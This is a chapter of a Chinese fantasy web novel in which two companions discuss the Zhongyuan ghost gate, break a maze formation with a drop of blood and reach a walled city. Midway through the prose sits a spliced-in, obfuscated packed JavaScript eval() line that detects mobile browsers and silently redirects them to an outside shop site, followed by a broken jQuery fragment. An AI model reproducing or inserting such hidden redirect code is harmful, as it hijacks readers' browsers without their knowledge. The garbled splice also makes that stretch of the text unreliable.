姜灵韫道:“但你信不信,只要我们往回走,不久就能走出这个迷阵。”
巫提灯点头道:“信。可来都来了,你总不会再走回去。既然是阵,无论如何,必然得有处阵眼吧。”
姜灵韫:“你可知今是什么日子?”
巫提灯:“何日?”
姜灵韫答:“中元。”
巫提灯思索道:“鄙人不才,只知中元鬼门大开,百鬼夜行,阴气汇聚于人间,却不知这其中有什么说法,可闻详解?”
“这你问我就对了。”姜灵韫甩了下小辫,道,“一般来说呢,人间与冥府皂白沟分,相反相成。人不下阴间,鬼不入阳界,各行其是,互不干涉,却唯有一天是特殊的——便是七月十四,鬼门大开之时。
“七月十四这日,冥界的大门会择一地开启,未投胎转世的魂魄可以出入阳间,与尚在人世的亲人好友相逢。
“但冥界阴气深重,即便是鬼门大开之日,活人也是不可擅闯鬼门关的。
“于是,为防有生人误闯误入,冥界入口年年尽不相同,一年置换一次。
“鬼门关是阳间与地府相通的唯一通道,只会出现在人间极阴之地。”姜灵韫摊摊手,“因此,鬼门开启之前,任谁都无法预料到它会在哪出现。”
“何谓‘极阴’?”巫提灯问。
姜灵韫道:“这至阴之地嘛……于阳间实属罕见,常随天灾人祸而出。人寿终正寝则不生怨气,若是夭折、暴毙、惨遭凶杀……总之就是非寻常丧身的那种。死前仇恨越深,阴气越浓。但这些怨气还不至于让一地沦为极阴之所,而是会被世间活人拥有的阳气覆盖。
“因此人间,本就是阴阳共生的一处所在。
“为不使人间阴气过载而阴阳失衡,天庭执掌各处的武官时常会下凡替百姓驱除或封禁这些怨气,也就是凡人常编进话本子里的什么‘斩妖除魔’。
“不过还有一种办法,便是替冤魂将自身执念解了,怨气也就消失了——但此等方式虽然温和,却也意味着对除怨者的要求就越高。当今天庭早已经摒弃这种已然过时的、费时费力又无甚必要的老法子了。
“可是,即便有天庭众仙负责净化人间,也有些情况是连他们都无法杜绝和控制的——例如战争、瘟疫、干旱、洪水之类的大灾祸。人死得多了,怨气全积于一处,一时无法尽快化解,便会引来一些不干净的东西。如此,便形成阳间至阴之地。”
“可即便择极阴之地立鬼门,也难保不会有生人闯入……”巫提灯忽地想到了什么,眼睛一亮,“你是想说,中元日百鬼聚众,为避免生人误闯鬼路,才会在鬼门将现之地设下这么个迷阵,用以阻挡生人?”
姜灵韫打了个响指,“孺子可教。”
巫提灯忍俊不禁,“那你顺着罗盘指引前来,也不过就是来碰碰运气的咯?”
“你说鬼打墙不是你搞的鬼……我虽不信你,可你这话我觉得不假。”姜灵韫说,“凡间有灵之地不多,连仙官下来都会被限住法力。不论是人是鬼,都根本无法在凡界设下这样的迷阵,那便唯有鬼门关一说能解释此阵存在的原因了。”
她说着,眼里忽然有了笑意,“所以这次,我多半找对地儿了。”
“既然你觉得我的话不假,”巫提灯低了下头。这青藤实在缠得太紧,怪不舒服的,“那现在是不是可以把我放开了?”
姜灵韫拽了拽藤条,继续拉着她走,“你想得美!我不治住你,谁知你会不会真的在我背后搞鬼!”
巫提灯笑了笑,晃首不言。
“而且,”姜灵韫神情古怪地凑到巫提灯面前,捉贼似的瞅着她,“你好像自己对误闯了鬼门关这事一点都不惊讶。换做常人,早就吓尿了,你还说你不是为了……”
“人活一世,随遇而安便好。若无心生死,只谈快活,纵是死了,也只当平常事。”巫提灯打断她,平静地说,“在一些人眼里,人间鬼域并无分别。”
姜灵韫捅捅耳朵,懒得听她的大道理,边走边道:“不过不管怎么样,你说得对,是阵,就会有阵眼。你方才在树上做了记号,定然是发现了什么不同寻常的东西吧?”
“你也怪聪明的。”巫提灯说,“你过去些,看看前头那棵高些的树底下是不是有一堆石头?”
于是姜灵韫牵着巫提灯又走了几步,蹲下去,盯着树下那一堆零零碎碎的碎石看了又看,“这石头有什么奇怪吗?”
巫提灯道:“你仔细翻开那些石头底下看看,找一找。其中有一颗,上面还沾着一滴新鲜的血迹。”
姜灵韫就手一拨,立刻翻到了,道:“还真有。”
巫提灯又道:“你再往前走,还会再有。”
姜灵韫恍然大悟,“这些石子便是阵石!”
再往前走,多棵树下皆有这般怪异的染血碎石,乍一看设置得杂乱无章,又如有规律。
姜灵韫将它们一个个找齐,照着这些石子摆放的位置,用树枝在地上画了个布阵图。
将阵法上十二个阵点连接起来,却是一个乱七八糟的形状,全然看不出摆的是什么。
她皱着眉打量了这法阵半晌,道:“这是什么阵?与如今世所熟知的奇门遁甲之术截然不同啊,倒像是……呸呸。”
“大抵是某种失传已久的古阵法。”巫提灯一笔带过,同样没想多说。
姜灵韫挠挠后颈,说:“可是,既有阵石,那便说明这阵是人为,怎么想都不会与鬼门结界扯上关系了。”
“照你的意思,”巫提灯道,“这阵石并非冥界掌权者所设?鬼门现世,难道就连冥界之主亦不可预知吗?”
“你也把酆都大帝想得太好了点。”姜灵韫解释说,“鬼门应天地之灵而现,是天道给予人间的恩赐,与酆都王有甚关系?哪怕是号称能沟通天地、六合八荒无所不晓的摘星楼,也是不能知道的。
“身为冥界主宰的酆都大帝,责也只在理阴间大小事,接收死魂赴黄泉,判其生前罪业是非,再送鬼轮回往生。人间这等至情至性之事,与他八竿子打不着。否则啊,别说是凡人了,那些飞升成仙的,神通广大,岂不是个个都能神不知鬼不觉地借鬼门大开之机混入鬼界去?如此,三界不乱了套才怪!”
巫提灯一脸赞同,“很有道理。”
姜灵韫道:“故而,人间竟有一处被设了迷阵不让人过路的所在,岂不是很奇怪?若不是鬼门关前的迷障挡了鬼路,还能怎么解释?何人这么胆大,又这么能耐,竟能避过天庭众仙的眼睛,光明正大地在这里设下结界,并且还不见仙官下凡管制?”
可若真是鬼门关开前,为避开凡人而产生的“鬼打墙”,便也不会出现这些人为设置的阵石,而是会应天道自然而然生出迷障,亦在鬼门关消失后也随之消散。
巫提灯却道:“又或许是管过了,却没有结果。”
姜灵韫当即否决道:“这不太可能,这世间又能有什么人的法力能越过天庭监察的仙官?酆都王可没这么闲,更何况他从不出地府半步,这对他来说有什么必要吗?”
巫提灯笑说:“究竟怎么回事,破开这迷阵一探,不就水落石出了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706496|144498||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这下姜灵韫又犯愁了,“可这阵法古怪离奇,压根看不出阵眼在哪,若是毁错了一个,说不准还会引发什么难搞的机关……这要怎么搞嘛?完全没有头绪啊。”
巫提灯奇怪地看着她,“你幼时竟无一人教导?”
姜灵韫怔了怔,“什么意思?”
巫提灯顿了顿,只道:“没什么。借我点血。”
“你要我的血干嘛?画符?”姜灵韫急了,“怎么不用你自己的!”
“你也知道,我多年前险遭仇家所杀,失血过多,自那之后便体弱身虚,真没多少血够我耗的。”巫提灯为难道,“我血很贵的。打个商量,不借也罢,不则我再另想办法。”
“……”姜灵韫吸了口气。
明知此人说话半真半假,绝不能信,可她这话一出,自己还就真有些舍不得拒绝了。
可恶,定是她用了什么不为人知的秘术,蛊惑人心!
姜灵韫心里这般想,却已经松开白衣人身上的青藤,只留了一截尾巴栓在巫提灯小臂上。
巫提灯微微挑眉。
随后就见这少年主动撸起了袖子,把手伸到她面前,“……那你取吧。轻些啊,我怕疼。”
她哑然失笑,“那你可要忍着点了。”
巫提灯不紧不慢地活动了下关节,从地上随意挑了颗棱角锋利的碎石,在姜灵韫手腕上迅速划过——姜灵韫闭着眼睛浑身一抖,再睁开,却发现不过是小指指头溢出了一滴血珠。
“都说了,只要一点。”巫提灯笑道,“现在,把手按在地上。”
“不是画符吗?这点血也够?”
姜灵韫不甚理解地照做了。地面沾到她鲜血的那一刻,竟如地动般晃了半晌。姜灵韫刚想起身却没站稳,又支着手跪了下去,打眼一看,身侧那人却稳如泰山,文风不动。
随着这阵剧烈的摇晃,二人眼前的几排树缓缓往左右两边移开,让出了一条宽阔的道路。
道路的尽头,俨然是一座被迷雾包裹的,布满荆棘的城。
“有路了!”姜灵韫喜道,“一滴血就这么管用?”
紧接着她就察觉不对,回头看向那白衣人。
不太对、不太对……
恐怕不是血管用,而是她的血才管用。
方才那番说辞分明就是这白衣人信口胡编的,她又不是傻子,岂会辨不出来?
这白衣女子的目的就只是为了让姜灵韫心甘情愿贡献出自己的血而已!这样说来……
这人莫不是已经猜到自己什么身份了?然还装着一副一无所知的样子,好会诓人!
姜灵韫背脊发凉。
她这想那想,却没发觉自己已经神色变幻莫测地盯了巫提灯好一会儿了。
盯得巫提灯忍不住发笑,“你是不是想对我说什么?”
有这种人呆在身边,太可怕了。姜灵韫气急败坏道:“我看是你有话该与我说吧!”
说罢,头也不回地拽了把藤条。走人!
巫提灯没说什么,乖乖跟了上去。
路上杂草丛生,长得同人一般高,看不清前方,加之有雾气笼盖,遮挡视野,更是举步维艰。
越往里走,周遭的雾气就越浓。到后来,姜灵韫甚至觉得,要不是自己还用藤条拉着巫提灯的手,她都要分不清自己身边是不是还站着个大活人了。
直到二人穿透了雾障,站定于一块界碑前,城门的轮廓才在灰雾中渐渐清晰起来。
这界石在此经风吹雨打,早已千疮百孔,上头模模糊糊写着三个字——万寿城。